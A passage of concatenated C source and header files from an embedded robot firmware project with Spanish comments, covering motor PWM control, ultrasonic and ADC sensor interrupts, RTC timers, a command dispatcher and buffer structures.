if(inChar=='k'){ Serial.print("GYRO igual a..."); int *puntero=GetMeassure(GYRO); Serial.print(puntero[0],DEC); Serial.print(" - "); Serial.print(puntero[1],DEC); Serial.print(" - "); Serial.println(puntero[2],DEC); } if(inChar=='l'){ Serial.print("COMPASS igual a..."); int *puntero=GetMeassure(COMPASS); Serial.println(puntero[0],DEC); } //SetVelocity(inChar,0); // add it to the inputString: // if the incoming character is a newline, set a flag // so the main loop can do something about it: } } /* ISR(TIMER1_OVF_vect) // interrupt service routine { TCNT1 = 34286; // preload timer time++; Serial.print("Time:"); Serial.print(time,DEC); Serial.print("Paquetes: "); Serial.println(paquetes,DEC); }*/ <file_sep>/Soft V1.0/Firmware 1.0/Sources/FunctionHandler.h #ifndef FUNCTIONHANDLER_H #define FUNCTIONHANDLER_H /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ /** @brief Toma una instruccion del buffer de entrada y selecciona la funcion a ejecutar @returns void */ extern void functionHandler(void); #endif<file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/SensoresUltraSonido.h #include "Config.h" #ifndef _SensoresUltraSonido_h #define _SensoresUltraSonido_h #endif //Declaracion de constantes #define MEF_STATUS_WAIT 0 #define MEF_STATUS_RUNNING 1 #define MEF_STATUS_ERROR 2 #define MEASURE_STATUS_DONE 3 #define MEASURE_STATUS_RUNNING 4 #define MEASURE_STATUS_WAIT 5 #define MEASURE_STATUS_ERROR 6 #define TIMER1_CH0_VALUE TPM1C0V #define TIME1_CH0_ENABLE_INTERRUPT (TPM1C0SC_CH0IE=1) #define TIME1_CH0_DISABLE_INTERRUPT (TPM1C0SC_CH0IE=0) #define SENSOR_FRONT_TRIGGER PTED_PTED4 //Declaracion de variables uint8_t firstTimeInterruptCh0; uint8_t mefStatus=0; uint8_t measureCh0Status=0; uint16_t ch0Time,risingEdgeTime,fallingEdgeTime; FunctionStruct* ch0FunctionStruct; DataStruct ch0Datos; //Declaracion de funciones void Sensor1(FunctionStruct* currentFunction); interrupt VectorNumber_Vtpm1ch0 void InterruptChannel0 (void); <file_sep>/Soft V1.0/Firmware 1.0/Sources/Motors.c /*==================[inclusions]=============================================*/ #include "Motors.h" /*==================[macros and definitions]=================================*/ #define SENTIDO_M1_1 PTGD_PTGD4 #define SENTIDO_M1_2 PTGD_PTGD5 #define SENTIDO_M2_1 PTBD_PTBD4 #define SENTIDO_M2_2 PTBD_PTBD5 /*==================[internal data declaration]==============================*/ uint16_t calculateValueRight=0; uint16_t calculateValueLeft=0; uint16_t actualValueRight=0; uint16_t actualValueLeft=0; uint16_t lastValueRight=0; uint16_t lastValueLeft=0; uint8_t lowValue=0; /*==================[internal functions declaration]=========================*/ /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ extern void setPwmValue(int valueToSetRight,int valueToSetLeft){ uint8_t highValue=0; calculateValueRight=PENDIENTE*valueToSetRight; calculateValueLeft=PENDIENTE*valueToSetLeft; if(calculateValueRight==0){ TPM2C0SC=TPM2C0SC&0xf0; lastValueRight=0; } else{ if(lastValueRight==0){ TPM2C0SC=PWM_CH0_CONFIG; } if(calculateValueRight!=TPM2C0V){ TPM2C0V=calculateValueRight; lastValueRight=calculateValueRight; } } if(calculateValueLeft==0){ TPM2C1SC=TPM2C1SC&0xf0; lastValueLeft=0; } else{ if(lastValueLeft==0){ TPM2C1SC=PWM_CH1_CONFIG; } if(calculateValueLeft!=TPM2C1V){ TPM2C1V=calculateValueLeft; lastValueLeft=calculateValueLeft; } } } extern void calcularSentido(int sentido){ if(sentido==FORWARD){ SENTIDO_M1_1=0; SENTIDO_M1_2=1; SENTIDO_M2_1=0; SENTIDO_M2_2=1; } if(sentido==REVERSE){ SENTIDO_M1_1=1; SENTIDO_M1_2=0; SENTIDO_M2_1=1; SENTIDO_M2_2=0; } if(sentido==TURN_RIGHT){ SENTIDO_M1_1=0; SENTIDO_M1_2=1; SENTIDO_M2_1=1; SENTIDO_M2_2=0; } if(sentido==TURN_LEFT){ SENTIDO_M1_1=1; SENTIDO_M1_2=0; SENTIDO_M2_1=0; SENTIDO_M2_2=1; } } extern void stopLeftWheel(){ TPM2C1SC=TPM2C1SC&0xf0; } extern void stopRightWheel(){ TPM2C0SC=TPM2C0SC&0xf0; } /*==================[internal functions definition]==========================*/<file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/ConfigJM16.h #include <hidef.h> /* for EnableInterrupts macro */ #include "derivative.h" /* include peripheral declarations */ #ifndef _ConfigJM16_h #define _ConfigJM16_h //Declaraciones #define serialData SCI1D #define clockRegister(x,y) (y=SCI1BDL,x=SCI1BDH) #define enableTxInterrupt (SCI1C2_TCIE=1) #define enableRxInterrupt (SCI1C2_RIE=1) #define disableTxInterrupt (SCI1C2_TCIE=0) #define disableRxInterrupt (SCI1C2_RIE=0) #define statusSerialRegister1 SCI1S1 #define statusSerialRegister2 SCI1S2 //Funciones void InitComunication(void); void InitClock(void); void InitReg(void); void InitInputCompare(void); void InitPorts(void); void InitRtc(void); #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/Linker.h #ifndef LINKER_H_ #define LINKER_H_ /*==================[inclusions]=============================================*/ #include "Configuration.h" #include "Structures.h" #include "GlobalVariables.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/Motors.h #ifndef MOTORS_H #define MOTORS_H /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ /** @brief establece el valor del PWM calculando el duty cicle del mismo. @param valueToSetRight representa un valor entre 0 y 255 estableciendo el duty de la rueda derecha. @param valueToSetLeft representa un valor entre 0 y 255 estableciendo el duty de la rueda izquierda. @return void */ void setPwmValue(int,int); /** @brief calcula el sentido del giro de la rueda. @param parametro que representa el sentido de las ruedas. @return void */ void calcularSentido(int); /** @brief establece valor 0 en la velocidad de la rueda izquierda, haciendo que la misma se detenga. */ void stopLeftWheel(void); /** @brief establece valor 0 en la velocidad de la rueda derecha, haciendo que la misma se detenga. */ void stopRightWheel(void); #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/Configuration.h #ifndef CONFIGURATION_H_ #define CONFIGURATION_H_ /*==================[inclusions]=============================================*/ #include "ConfigMicro.h" #include <stdint.h> /*==================[macros]=================================================*/ //-------------------estados globales-------------// #define STATUS_START 0xB0 #define STATUS_RESET 0xB1 #define STATUS_STAND_BY 0xB2 //-------------------Buffers-------------// #define BUFFER_SIZE 30 //Buffer de salida #define BUFFEROUT_LENGTH 30 //Buffer de entrada #define BUFFERIN_LENGTH 30 #define BUFFER_DATA_SIZE 6 #define EXECUTING_STRUCT_SIZE 20 //-------------------Sensores Ultrasonido-------------// #define SENSOR_ULTRASONIC_FRONT 1 #define SENSOR_ULTRASONIC_LEFT 2 #define SENSOR_ULTRASONIC_RIGHT 3 //-------------------ID Funciones -------------// # define getMeasure 0x01 # define getMeasureResponse 0x82 # define isGoal 0x02 # define setSteps 0x80 # define setVelocity 0x81 # define error 0x85 # define ACK 0x06 // Parametros de getMeasure # define ULTRASONIC_ALL 7 # define ULTRASONIC_LEFT 8 # define ULTRASONIC_RIGHT 9 # define ULTRASONIC_FRONT 10 # define ACCEL 11 # define GYRO 12 # define COMPASS 13 // Parametros de isGoal # define STOP_ON_GOAL 14 # define CONTINUE 15 # define NOP 16 // Parametros de error # define COMMAND_ERROR 17 # define INACCESSIBLE_DEVICE 18 # define ERROR_TIMEOUT 19 # define ERROR_FUNCTION 130 # define ERROR_PARITY 20 # define ERROR_FRAMMING 21 # define COMMUNICATION_ERROR 22 # define ERROR_LINE_BREAK 23 # define NO_ERROR 0 //Estados de funciones # define READY 20 # define RUNNING 21 # define AVAILABLE 22 # define ERROR 23 # define TIMEOUT 24 # define DONE 25 //Timers funciones # define ULTRASONIC_ALL_TIMER NO_TIMER # define ULTRASONIC_LEFT_TIMER 3200 # define ULTRASONIC_RIGHT_TIMER 3200 # define ULTRASONIC_FRONT_TIMER 3200 # define ACCEL_TIMER 200 # define GYRO_TIMER 200 # define COMPASS_TIMER 200 # define IS_GOAL_TIMER 200 # define SET_STEPS_TIMER 200 # define SET_VELOCITY_TIMER 200 #define NO_TIMER 0xffff //Definiciones para funciones con mas de una funcion #define MORE_FUNCTION 0xff #define UNIQUE_FUNCTION 0x00 #define MAX_CHILDREN 0x03 //-------------------Tipo de movimiento-------------// #define STEPS 0x01 #define LINEAR_VELOCITY 0x02 #define NO_MOVE 0x03 //-------------------Sentido de motores-------------// #define PENDIENTE 10 #define FORWARD 0x00 #define REVERSE 0x03 #define TURN_RIGHT 0x01 #define TURN_LEFT 0x02 //timers funciones //#define getMeasure_TIMER 20 //-------------------Estados MEF Comunicacion-------------// #define MEF_WAIT 0x01 #define MEF_START 0x02 #define MEF_FUNCTION 0x03 #define MEF_N_BYTES 0x04 #define MEF_DATA 0x05 #define MEF_TIME_OUT 0x06 #define MEF_ERROR 0x07 #define FUNCTION_ID 0x7F //-------------------ADC-------------// #define ADC_SAMPLE_FREQUENCY 100 //-------------------Parametros de velocidad y pasos-------------// #define MIN_SLOPE 10 #define ADC_OFF ADCSC1_ADCH=0xff; #define RTC_BASE_TIME 3125 #define DEGREES_FOR_STEP 9 /*==================[typedef]================================================*/ /* #define uint8_t byte #define uint16_t word #define int32_t long #define int32 long*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ #endif <file_sep>/Soft V1.0/Firmware 1.0/Sources/RTCmodule.c /*==================[inclusions]=============================================*/ #include "RTCmodule.h" /*==================[macros and definitions]=================================*/ #define VELOCITY_MEASSURE_FREQ 3 //36857 ->1seg 18428->0.5seg #define VELOCITY_TIME 500 /*==================[internal data declaration]==============================*/ uint8_t timeCounter,j=0; uint16_t kbiTime,adcTime; uint16_t velocityMeassureTimer; uint16_t actualLeftStep,actualRightStep; uint8_t lastStatus; uint16_t lastLeftStep=0,lastRightStep=0; uint16_t lastLeftWheelVelocity=0; uint16_t valores[100]; /*==================[internal functions declaration]=========================*/ void decreaseTimer(FunctionStruct*); /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ interrupt VectorNumber_Vrtc void RTCInterrupt (void){ unsigned long long velocityAux=0; uint8_t i=0; static calibrar,apagar=0; RTCSC_RTIF=1; adcTime++; velocityMeassureTimer++; if(velocityMeassureTimer==VELOCITY_MEASSURE_FREQ){ tickTime++; velocityMeassureTimer=0; } /* velocityMeassureTimer=0; actualLeftStep=(leftWheelStepValue-lastLeftStep); actualRightStep=(rightWheelStepValue-lastRightStep); /* calibrar++; if(calibrar==5){ calibrar=0; if(apagar==1){ PTED_PTED4=0; }else{ PTED_PTED4=1; apagar=1; } }*/ /* velocityAux=(actualLeftStep*9); velocityAux=velocityAux*3142; velocityAux=velocityAux/180; velocityAux=(velocityAux*1000)/VELOCITY_TIME; leftWheelVelocity=velocityAux; lastLeftWheelVelocity=velocityAux; valores[j]=actualLeftStep; if(j<100){ j++; } lastLeftStep=leftWheelStepValue; velocityAux=(actualRightStep*9); velocityAux=velocityAux*3142; velocityAux=velocityAux/180; velocityAux=(velocityAux*1000)/VELOCITY_TIME; rightWheelVelocity=velocityAux; lastRightStep=rightWheelStepValue; } /* if(STATUS_MEF==lastStatus){ STATUS_MEF=MEF_WAIT; } lastStatus=STATUS_MEF;*/ for(i=0;i<=getExecutingVectorPointer();i++){ decreaseTimer(getFromExecutingVectorOnIndex(i)); } if((adcTime>=ADC_SAMPLE_FREQUENCY)&&isAdcRunning!=1){ adcEnable=TRUE; adcTime=0; isAdcRunning=0; } } /*==================[internal functions definition]==========================*/ /** @brief Decremeta el timer la funcion que se asigna por parametro. @param currentFunction puntero a la funcion que se encuentra en el vector de ejecucion @return void */ void decreaseTimer(FunctionStruct* currentFunction){ if(currentFunction->timerCount!=NO_TIMER){ if((currentFunction->status==RUNNING)&&(currentFunction->timerCount==0)){ currentFunction->status=TIMEOUT; } if((currentFunction->status==READY)&&(currentFunction->timerCount==0)){ currentFunction->status=INACCESSIBLE_DEVICE; } if((currentFunction->status==RUNNING)||(currentFunction->status==READY&&currentFunction->timerCount>0)){ currentFunction->timerCount--; } } }<file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/SensoresUltraSonido.c #include "SensoresUltraSonido.h" byte flagFrente,flagDerecha,flagIzquierda=0; void Sensor1(FunctionStruct* currentFunction) //FRONTAL { uint8_t t=0; ch0FunctionStruct=currentFunction; currentFunction->status=RUNNING; /* TIME1_CH0_DISABLE_INTERRUPT; SENSOR_FRONT_TRIGGER=1; //Flanco ascendente del pulso de trigger t=8; while(t!=0){ t--; } SENSOR_FRONT_TRIGGER=0;//flanco descendente el pulso de trigger TIME1_CH0_ENABLE_INTERRUPT; */ return; } /* void Sensor2(void) //IZQUIERDO { unsigned int t=8; unsigned long int a=650000; TPM2SC=0B00001100; TPM2C0SC=0B01000100; //ascendente TPM2C0SC_CH0IE=1; PTCD_PTCD1=1; while(t!=0){ t--; } PTCD_PTCD1=0; while(a!=0&&flagIzquierda==0) { a=a-1; } flagIzquierda=0; TPM2C0SC_CH0F = 0; TPM2C0SC_CH0IE=0; bit1=0; return; } void Sensor3(void) //DERECHO { unsigned int t=8; unsigned long int a=650000; TPM2SC=0B00001100; TPM2C1SC=0B01000100; //ascendente TPM2C1SC_CH1IE=1; PTCD_PTCD0=1; t=8; while(t!=0){ t--; } PTCD_PTCD0=0; while(a!=0&&flagDerecha==0) { a=a-1; } flagDerecha=0; TPM2C1SC_CH1F = 0; TPM2C1SC_CH1IE=0; bit2=0; return; } void Sensor4(void) //TRASERO { unsigned int a=20000; TPM1C1SC_CH1IE=1; DisableInterrupts; TPM1C3VL = 0B00000000; PTED_PTED5=1; TPM1C3VL = 10; while(TPM1C3SC_CH3F==0); PTED_PTED5=0; EnableInterrupts; TPM1C3VL = 0B00000000; while(a!=0) { a=a-1; } TPM1C1SC_CH1F = 0; TPM1C1SC_CH1IE=0; bit3=0; return; } */ interrupt VectorNumber_Vtpm1ch0 void InterruptChannel0 (void) //sensor1 (frente) { (void)(TPM1C0SC==0);//Borra el flag de interrupcion TPM1C0SC_CH0F = 0; if(mefStatus==MEF_STATUS_WAIT) //Si es el primer flanco(ascendente) toma el valor en b { ch0FunctionStruct->status=RUNNING; risingEdgeTime=TIMER1_CH0_VALUE; mefStatus=MEF_STATUS_RUNNING;//flag bit indica que ya fue tomado el primer flanco ascendente measureCh0Status=MEASURE_STATUS_RUNNING; //TPM1C0SC=0B01001000; return; } else //flag bit=1 indica que ya fue tomado el primer flanco ahora se captura el flanco descendente { fallingEdgeTime=TIMER1_CH0_VALUE; mefStatus=MEF_STATUS_WAIT; ch0Time=fallingEdgeTime-risingEdgeTime;//d es la medicion, resta los tiempos de muuestra de ambos flancos measureCh0Status=MEASURE_STATUS_DONE; measureUltrasonicCenterSensor16=ch0Time/54; ch0Datos.data[0]=(byte)measureUltrasonicCenterSensor16; ch0Datos.pointer=1; ch0FunctionStruct->data=&ch0Datos; ch0FunctionStruct->status=AVAILABLE; measureCh0Status=MEASURE_STATUS_WAIT; TIME1_CH0_DISABLE_INTERRUPT; measureUltrasonicCenterSensor16=ch0Time/54; } return; } /* interrupt 16 void CH1 (void) //sensor2(Iquierda) { static word b1=0,c1=0; (void)(TPM2C0SC==0); TPM2C0SC_CH0F = 0; if(bit1==0) { b1=TPM2C0V; bit1=1; TPM2C0SC=0B01001000; return; } else { c1=TPM2C0V; bit1=0; d2=c1-b1; flagIzquierda=1; } return; } interrupt 17 void CH2 (void) //SENSOR3 (derecha) { static word b2=0,c2=0; (void)(TPM2C1SC==0); TPM2C1SC_CH1F = 0; if(bit2==0) { b2=TPM2C1V; bit2=1; TPM2C1SC=0B01001000; return; } else { c2=TPM2C1V; bit2=0; d3=c2-b2; flagDerecha=1; } return; } interrupt 10 void CH3 (void) //SENSOR4 { static word b3=0,c3=0; (void)(TPM1C1SC==0); TPM1C1SC_CH1F = 0; if(bit3==0) { b3=TPM1C1V; bit3=1; return; } else { c3=TPM1C1V; bit3=0; d4=c3-b3; } return; } */<file_sep>/Soft V1.0/Firmware 1.0/Sources/AdcModule.c /*==================[inclusions]=============================================*/ #include "AdcModule.h" /*==================[macros and definitions]=================================*/ #define SENSOR_META_1 1 #define SENSOR_META_2 2 #define SENSOR_RUEDA_1 3 #define SENSOR_RUEDA_2 5 /*==================[internal data declaration]==============================*/ static uint8_t sensorNumber=1; static int varSensorLeft; static int varSensorRight; static uint8_t adcWheelSensor1; static uint8_t adcWheelSensor2; static int varSensorLeftRef; static int varSensorRightRef; static int varSensorLeftRefMargin = 20; static int varSensorRightRefMargin = 4; static int sensorStatus = 1; int left; int right; int whileFlag; int goalSensorStatus; uint32_t tiempoActual,tiempoAnterior; uint32_t tiempoEntrePasos; uint8_t newStepLeftWheel; uint16_t datos[6]; /*==================[internal functions declaration]=========================*/ /** @brief establece el estado obtenido desde la capa superior en la variable global 'sensorStatus'. @param parameter representa el estado obtenido desde la capa superior. @returns void. */ void setSensorStatus(int parameter); /** @brief establece el valor medido en el sensor derecho del modulo sensor de meta. @returns retorna el valor establecido. */ uint8_t getGoalRightStatus(void); /** @brief establece el valor medido en el sensor izquierdo del modulo sensor de meta. @returns retorna el valor establecido. */ uint8_t getGoalLeftStatus(void); /*==================[internal data definition]===============================*/ static uint8_t firstTimeSensor1=0,firstTimeSensor2=0; static uint8_t lastAdcValueSensor1,lastAdcValueSensor2; static uint8_t slopeSensor1,slopeSensor2,signSlopeSensor1,signSlopeSensor2; static uint8_t lastSignSlopeSensor1,lastSignSlopeSensor2; /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ /*==================[internal functions definition]==========================*/ interrupt VectorNumber_Vadc void adcInterrupt (void){ //uint8_t adcWheelSensor1,adcWheelSensor2; isAdcRunning=1; (void) ADCRH; if(sensorNumber == SENSOR_META_1||sensorNumber == SENSOR_META_2){ if(sensorNumber == SENSOR_META_1){ varSensorLeft = ADCRL; } else if(sensorNumber == SENSOR_META_2){ varSensorRight = ADCRL; } if(left == 1 && right == 1){ goalSensorStatus = 1; } else{ goalSensorStatus = 0; } left = getGoalLeftStatus(); right = getGoalRightStatus(); } else if(sensorNumber == SENSOR_RUEDA_1||sensorNumber == SENSOR_RUEDA_2){ if(sensorNumber == SENSOR_RUEDA_1){ adcWheelSensor1 = ADCRL; if(firstTimeSensor1==0){ if(adcWheelSensor1>150){ lastAdcValueSensor1=0; }else{ lastAdcValueSensor1=255; } } if(adcWheelSensor1!=lastAdcValueSensor1){ if(lastAdcValueSensor1>adcWheelSensor1){ slopeSensor1 = lastAdcValueSensor1 - adcWheelSensor1; signSlopeSensor1=0; }else{ slopeSensor1 = adcWheelSensor1 - lastAdcValueSensor1; signSlopeSensor1=1; } lastAdcValueSensor1=adcWheelSensor1; if(firstTimeSensor1==0){ firstTimeSensor1=1; lastSignSlopeSensor1=signSlopeSensor1; } if(slopeSensor1 > MIN_SLOPE){ if(signSlopeSensor1==1&&lastSignSlopeSensor1==0){ rightWheelStepValue++; lastSignSlopeSensor1=signSlopeSensor1; }else if(signSlopeSensor1==0&&lastSignSlopeSensor1==1){ rightWheelStepValue++; lastSignSlopeSensor1=signSlopeSensor1; } if(verifyStepsRight()&&moveBy==STEPS){ stopRightWheel(); } } } } else if(sensorNumber == SENSOR_RUEDA_2){ adcWheelSensor2 = ADCRL; if(firstTimeSensor2==0){ if(adcWheelSensor2>150){ lastAdcValueSensor2=0; }else{ lastAdcValueSensor2=255; } } if(adcWheelSensor2!=lastAdcValueSensor2){ if(lastAdcValueSensor2>adcWheelSensor2){ slopeSensor2 = lastAdcValueSensor2 - adcWheelSensor2; signSlopeSensor2=0; }else if(lastAdcValueSensor2<adcWheelSensor2){ slopeSensor2 = adcWheelSensor2 - lastAdcValueSensor2; signSlopeSensor2=1; } lastAdcValueSensor2=adcWheelSensor2; if(firstTimeSensor2==0){ firstTimeSensor2=1; lastSignSlopeSensor2=signSlopeSensor2; } if(slopeSensor2 > MIN_SLOPE){ if(signSlopeSensor2==1&&lastSignSlopeSensor2==0){ leftWheelStepValue++; newStepLeftWheel=1; lastSignSlopeSensor2=signSlopeSensor2; getVelocity(); }else if(signSlopeSensor2==0&&lastSignSlopeSensor2==1){ leftWheelStepValue++; newStepLeftWheel=1; lastSignSlopeSensor2=signSlopeSensor2; getVelocity(); } if(verifyStepsLeft()&&moveBy==STEPS){ stopLeftWheel(); } } } } } isAdcRunning=0; } int getVelocity(){ uint8_t k=0; static uint8_t flag=0; uint32_t timeAux,suma=0; static i=0,velocidad; newStepLeftWheel=0; if(flag==0){ tiempoAnterior=tickTime; flag=1; }else{ flag=0; tiempoActual=tickTime; tiempoEntrePasos=tiempoActual-tiempoAnterior; } if(tiempoEntrePasos>0){ velocidad=1570000/tiempoEntrePasos; if(i<6){ datos[i]=velocidad;; i++; }else{ i=0; } } for(k=0;k<6;k++){ suma=suma+datos[k]; } leftWheelVelocity=suma/6; } //DEVUELVE TRUE SI LOS PASOS SON IGUALES A LOS PASOS TO SET Bool verifyStepsRight (){ Bool result=FALSE; if(rightWheelStepValueToSet!=0){ if(rightWheelStepValue>=rightWheelStepValueToSet){ result=TRUE; } }else{ return FALSE; } return result; } Bool verifyStepsLeft (){ Bool result=FALSE; if(leftWheelStepValueToSet!=0){ if(leftWheelStepValue>=leftWheelStepValueToSet){ result=TRUE; } }else{ return FALSE; } return result; } void switchSensor (void){ uint8_t channel=0; switch(sensorNumber){ case SENSOR_META_1: sensorNumber=SENSOR_META_2; channel=0b00001; //ADCSC1_ADCH=00001; break; case SENSOR_META_2: sensorNumber=SENSOR_RUEDA_1; channel=0b01001; //ADCSC1_ADCH=01000; break; case SENSOR_RUEDA_1: sensorNumber=SENSOR_RUEDA_2; channel=0b01000; //ADCSC1_ADCH=01001; break; case SENSOR_RUEDA_2: sensorNumber=SENSOR_META_1; //isAdcRunning=0; channel=0b00000; //ADC_OFF; break; } APCTL1=0x03; APCTL2=0x03; isAdcRunning=1; ADCSC1_ADCH=channel; } void setGoalMode(int parameter, FunctionStruct* currentFunction){ currentFunction->status = RUNNING; setSensorStatus(parameter); currentFunction->data[0] = goalSensorStatus; currentFunction->status = AVAILABLE; } void setSensorStatus(int parameter){ sensorStatus = parameter; } uint8_t getGoalRightStatus(void){ if(varSensorRight >= (varSensorRightRef + varSensorRightRefMargin)){ return 1; } else{ return 0; } } uint8_t getGoalLeftStatus(void){ if(varSensorLeft >= (varSensorLeftRef + varSensorLeftRefMargin)){ return 1; } else{ return 0; } } void initGoalSensor(void){ whileFlag = 1000; while(whileFlag > 0){ whileFlag--; } varSensorLeftRef = varSensorLeft; varSensorRightRef = varSensorRight; } int varToCast = 0; void testFunction1(FunctionStruct* currentFunction){ currentFunction->status = RUNNING; varToCast = 122; currentFunction->data[0] = varToCast >> 8; currentFunction->data[1] = varToCast; varToCast = 133; currentFunction->data[2] = varToCast >> 8; currentFunction->data[3] = varToCast; varToCast = 144; currentFunction->data[4] = varToCast >> 8; currentFunction->data[5] = varToCast; currentFunction->status = AVAILABLE; } void testFunction2(FunctionStruct* currentFunction){ currentFunction->status = RUNNING; varToCast = 155; currentFunction->data[0] = varToCast >> 8; currentFunction->data[1] = varToCast; varToCast = 166; currentFunction->data[2] = varToCast >> 8; currentFunction->data[3] = varToCast; varToCast = 177; currentFunction->data[4] = varToCast >> 8; currentFunction->data[5] = varToCast; currentFunction->status = AVAILABLE; } void testFunction3(FunctionStruct* currentFunction){ currentFunction->status = RUNNING; varToCast = 299; currentFunction->data[0] = varToCast >> 8; currentFunction->data[1] = varToCast; currentFunction->status = AVAILABLE; }<file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/Dispatcher.c #include "Dispatcher.h" void dispatcher(ExecutingStruct* executingVector, BufferStruct* functionBuffer){ uint8_t vectorSize = getExecutingVectorPointer(); uint8_t counter = 0; uint8_t variable; uint8_t functionID; uint8_t isRoot; uint8_t variableAux1; uint8_t variableAux2; uint8_t variableAux3; if(getFromExecutingVector()!=NULL){ for(counter = 0; counter <= vectorSize; counter++){ variable = getFromExecutingVectorOnIndex(counter)->status; functionID = getFromExecutingVectorOnIndex(counter)->functionId; isRoot = getFromExecutingVectorOnIndex(counter)->root; if(isRoot == MORE_FUNCTION || isRoot == UNIQUE_FUNCTION){ if(isRoot == MORE_FUNCTION){ variableAux1 = getFromExecutingVectorOnIndex(counter+1)->status; variableAux2 = getFromExecutingVectorOnIndex(counter+2)->status; variableAux3 = getFromExecutingVectorOnIndex(counter+3)->status; if(variableAux1 == ERROR || variableAux2 == ERROR || variableAux3 == ERROR){ variable = ERROR; getFromExecutingVectorOnIndex(counter+1)->status = DONE; getFromExecutingVectorOnIndex(counter+2)->status = DONE; getFromExecutingVectorOnIndex(counter+3)->status = DONE; } else{ if(variableAux1 == TIMEOUT || variableAux2 == TIMEOUT || variableAux3 == TIMEOUT){ variable = TIMEOUT; getFromExecutingVectorOnIndex(counter+1)->status = DONE; getFromExecutingVectorOnIndex(counter+2)->status = DONE; getFromExecutingVectorOnIndex(counter+3)->status = DONE; } else{ if(variableAux1 == AVAILABLE && variableAux2 == AVAILABLE && variableAux3 == AVAILABLE){ variable = AVAILABLE; //revistar estooo!!! getFromExecutingVectorOnIndex(counter)->data->data[0] = getFromExecutingVectorOnIndex(counter+1)->data->data[0]; getFromExecutingVectorOnIndex(counter)->data->data[1] = getFromExecutingVectorOnIndex(counter+2)->data->data[0]; getFromExecutingVectorOnIndex(counter)->data->data[2] = getFromExecutingVectorOnIndex(counter+3)->data->data[0]; getFromExecutingVectorOnIndex(counter+1)->status = DONE; getFromExecutingVectorOnIndex(counter+2)->status = DONE; getFromExecutingVectorOnIndex(counter+3)->status = DONE; } } } counter = counter+3; } switch ( variable ) { case AVAILABLE: setToBuffer(functionID, functionBuffer); if(functionID >= 128){ variableAux1 = getFromExecutingVectorOnIndex(counter)->data->pointer; variableAux2 = 0; setToBuffer(variableAux1, functionBuffer); for(variableAux2 = 0; variableAux2 < variableAux1; variableAux2++){ setToBuffer(getFromExecutingVectorOnIndex(counter)->data->data[variableAux2], functionBuffer); } } else{ setToBuffer(getFromExecutingVectorOnIndex(counter)->data->data[0], functionBuffer); } case ERROR: setToBuffer(ERROR, functionBuffer); setToBuffer(functionID, functionBuffer); getFromExecutingVectorOnIndex(counter)->status = DONE; break; case TIMEOUT: setToBuffer(TIMEOUT, functionBuffer); setToBuffer(functionID, functionBuffer); getFromExecutingVectorOnIndex(counter)->status = DONE; break; } } } } }<file_sep>/Soft V1.0/Firmware 1.0/Sources/Dispatcher.h #ifndef DISPACHER_H #define DISPACHER_H /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ /** @brief Atiende al vector de ejecucion y envia al buffer de salida las funciones que esten listas para ser enviadas. Realiza control de error. @param executingVector puntero al vector de ejecucion. @param functionBuffer buffer en donde envia la funcion a ser enviada. @return void */ extern void dispatcher(ExecutingStruct* executingVector, BufferStruct* functionBuffer); #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/Structures.h #ifndef STRUCTURES_H_ #define STRUCTURES_H_ /*==================[inclusions]=============================================*/ #include "Configuration.h" #include <stdint.h> /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ typedef struct { uint8_t readPointer; uint8_t writePointer; uint8_t Buffer[ BUFFER_SIZE ]; uint8_t BufferFlags[ BUFFER_SIZE ]; }BufferStruct; typedef struct { uint8_t IDNumber; uint8_t functionParameter; uint8_t functionId; uint8_t status; uint16_t timerCount; uint8_t data[BUFFER_DATA_SIZE]; uint8_t dataSize; uint8_t root; }FunctionStruct; typedef struct { FunctionStruct vector[EXECUTING_STRUCT_SIZE]; uint8_t pointer; uint8_t readPointer; }ExecutingStruct; /*==================[external data declaration]==============================*/ extern BufferStruct bufferIn; extern BufferStruct bufferOut; extern ExecutingStruct executingVector; /*==================[external functions declaration]=========================*/ /** @brief Inicializacion de buffer. Inicializa los parametros 'readPointer', 'writePointer' y 'buffer' de la estructura 'bufferStruct'. @param Buffer es el buffer (struct bufferStruct) a inicializar. @returns void */ void InitBuffer(BufferStruct* BufferToInit); /** @brief toma dato del buffer. toma un dato uint8_t del buffer e incrementa el puntero 'readPointer'. Si no hay datos que leer no incrementa el puntero. Lipia la celda luego de leerla. @param BufferToGet es el buffer (struct bufferStruct) a leer. @returns data Parametro uint8_t con el valor de la celda tomada del buffer. */ uint8_t getFromBuffer(BufferStruct* BufferToGet); /** @brief Setea un dato en el buffer. setea un dato uint8_t en el buffer e incrementa el puntero 'writePointer'. Si no hay lugar en el buffer en donde setear el dato, lo descarta. @param BufferToSet es el buffer (struct bufferStruct) a escribir. @returns void. */ void setToBuffer(uint8_t data, BufferStruct* BufferToSet); /** @brief devuelve el espacio disponible en el buffer. calcula el espacio disponible para almacenamiento en el buffer. @param BufferToCalculate es el buffer (struct bufferStruct) a calcular. @returns data Parametro uint8_t con el valor del espacio disponible para almacenamiento en el buffer. */ uint8_t getSpaceOfBuffer(BufferStruct* BufferToCalculate); /** @brief setea los datos de un buffer en otro buffer. controla si el buffer es capaz de almacenar la cantidad de datos a guardar antes de realizar el proceso de almacenamiento. devuelve 1 si el proceso fue exitoso y 0 si no lo fue. @param BufferGet es el buffer (struct bufferStruct) que contiene los datos a ser almacenado en 